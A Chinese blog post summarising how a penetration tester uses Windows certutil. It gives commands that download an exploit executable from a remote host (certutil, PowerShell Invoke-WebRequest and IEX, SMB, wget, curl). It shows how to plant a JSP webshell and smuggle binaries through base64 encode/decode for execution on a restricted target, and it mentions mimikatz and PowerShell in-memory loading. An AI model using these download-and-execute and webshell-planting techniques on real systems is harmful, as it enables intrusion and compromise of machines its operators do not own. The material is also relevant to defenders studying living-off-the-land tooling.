首页 > 其他分享 >【安全记录】certutil实战使用总结

【安全记录】certutil实战使用总结

时间:2023-01-10 18:25:35浏览次数:49  
标签:实战 总结 exe 文件 certutil 192.168 txt powershell

前言

在先知看到一篇关于certutil命令的文章(关于certutil的探究),讲得很详细、很全面。特此记录下本人在渗透时使用certutil的一些方法。

在cmd下使用certutil下载远程文件

命令:

certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe

各参数介绍:

  • -urlcache 显示或删除URL缓存条目;无值的命令行选项。
  • -split 保存到文件;无值的命令行选项。存在该选项的命令,就会将文件下载到当前路径,如果没有该选项,就下载到默认路径(本地尝试后,下载的默认路径为C:\Users\用户名)。
  • -f 有值的命令行选项。后面跟要下载的文件 url。

附各条件下的命令行下载文件命令:

PowerShell - IWR:
powershell.exe -Command "Invoke-WebRequest -Uri http://192.168.1.1:1234/ms10-051.exe -OutFile exploit.exe"
​
PowerShell - IEX:
powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:1234/ms10-051.exe', exploit.exe)"
​
CMD - Certutil:
certutil.exe -urlcache -split -f http://192.168.1.1:1234/ms10-051.exe exploit.exe
​
CMD - SMB:
copy \\192.168.1.1\files\ms10-051.exe exploit.exe
​
Linux - wget:
wget http://192.168.1.1:1234/ms10-051.exe -O exploit.exe
​
Linux - curl:
curl http://192.168.1.1:1234/ms10-051.exe -o exploit.exe

通过certutil以base64编码方式写入webshell文件

场景:命令执行情况下,写入webshell的文本文件。

webshell内容中含有较多特殊字符,如果直接echo xxx > shell.jsp,其中的特殊字符会影响该命令的执行,而base64编码后的文本可以直接写入文本,无特殊字符影响。

  1. 文本内容:<%@page import="java.util.*,
  2. base64编码后为:PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA==
  3. 写入文件:echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLA== > C:\tmp\shell.txt
  4. 解码成webshell文件:certutil -f -decode "C:\tmp\shell.txt" "C:\tmp\shell.jsp"

通过certutil对二进制文件进行base64编码

certutil可以将二进制文件(exe文件等)编码成txt文件

certutil -encode 1615808966890.exe 1615808966890.txt

 

 

txt文件内容如下,纯文本文件:

 

 

将txt文件解码为二进制文件:

certutil -decode 1615808966890.txt 66666.exe

 

 

那这适用于什么场景?

假如存在一个命令执行的条件,写入webshell文件存在问题,目标只有dns出网而无法下载远程文件。那么此时我们就可以将base64编码的文本文件写入目标,再解码成二进制文件执行上线。

适用echo写文件时,会在每行末尾追加一个空格,但是我之前的一次经历,发现文件可以正常decode。

cmd /c echo a >> D:\2.txt
cmd /c echo ab >> D:\2.txt
cmd /c echo abc >> D:\2.txt

 

 

这篇文章讲解使用powershell的方式追加写入文件,也是一种好的方法。

powershell -c "'a' | Out-File D:\1.txt -Append"
powershell -c "'ab' | Out-File D:\1.txt -Append"
powershell -c "'abc' | Out-File D:\1.txt -Append"

将完整的txt文件一行一行写入文件,可以写个脚本,或者使用burp。

通过certutil计算文件hash

certutil -hashfile mimikatz.exe MD5 //检验MD5
​
certutil -hashfile mimikatz.exe SHA1 //检验SHA1
​
certutil -hashfile mimikatz.exe SHA256 //检验SHA256

certutil配合powershell内存加载

没有尝试过,这里mark下这种姿势。总体就是通过certutil解码文件进行powershell上线。

来源为第一篇参考文章的内容。

参考链接

https://xz.aliyun.com/t/9737

https://xz.aliyun.com/t/8345

标签:实战,总结,exe,文件,certutil,192.168,txt,powershell
From: https://www.cnblogs.com/ta1zi/p/17041041.html

相关文章